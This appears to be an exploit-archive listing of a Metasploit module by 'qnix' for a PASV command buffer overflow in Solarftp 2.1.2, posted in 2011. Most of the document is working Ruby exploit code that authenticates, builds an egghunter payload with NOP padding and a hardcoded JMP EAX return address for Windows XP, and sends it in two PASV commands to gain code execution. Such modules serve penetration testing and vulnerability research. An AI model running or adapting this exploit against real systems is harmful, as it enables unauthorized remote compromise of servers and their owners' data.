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Solarftp 2.1.2 PASV Command Buffer Overflow

Solarftp 2.1.2 PASV Command Buffer Overflow
Posted Aug 19, 2011
Authored by Qnix | Site metasploit.com

This Metasploit module exploits a buffer overflow in the PASV command in Solarftp 2.1.2. You must have valid credentials to trigger this vulnerability and you only get one chance.

tags | exploit, overflow
MD5 | 1850a0b74400dbd3f6df4fc9616e0837

Solarftp 2.1.2 PASV Command Buffer Overflow

Change Mirror Download
# Exploit Title: Solarftp v2.1.2 PASV buffer overflow
# Date: Aug 17, 2011
# Author: qnix
# Software Link: http://solarftp.com/files/solarftps-setup.exe
# Version: 2.1.2
# Tested on: Windows XP Universal
# Detailed info: http://0x80.org/blog/?p=545

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
You must have valid credentials to trigger this vulnerability. Also, you
ony get one chance.
},
'Author' => 'qnix',
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://0x80.org/blog/?p=545'],
],
'DefaultOptions' =>
{
'WfsDelay' => 45,
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#1001BD23 . FFE0 JMP EAX @sfsweb.dll
[ 'Windows XP Universal', { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
],
'DisclosureDate' => 'Aug 17 2011',
'DefaultTarget' => 0))
end


def exploit
connect_login
print_status("Trying target #{target.name}")

print_status("Creating Egg Hunter")
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)

fix = "\x11" # To fix some left overs from uncontrolled buffer
# to avoid access violation.
pk1 = make_nops(75)
pk1 << fix
pk1 << make_nops(20)
pk1 << hunter
pk1 << make_nops((100-fix.length-hunter.length))
pk1 << [target.ret].pack('V')
pk1 << egg
pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
print_status("Sending first packet...")
send_cmd( ["PASV",pk1], false)

pk2 = make_nops(3000)
print_status("Sending second packet...")
send_cmd( ["PASV",pk2], false)

handler
disconnect
end

end

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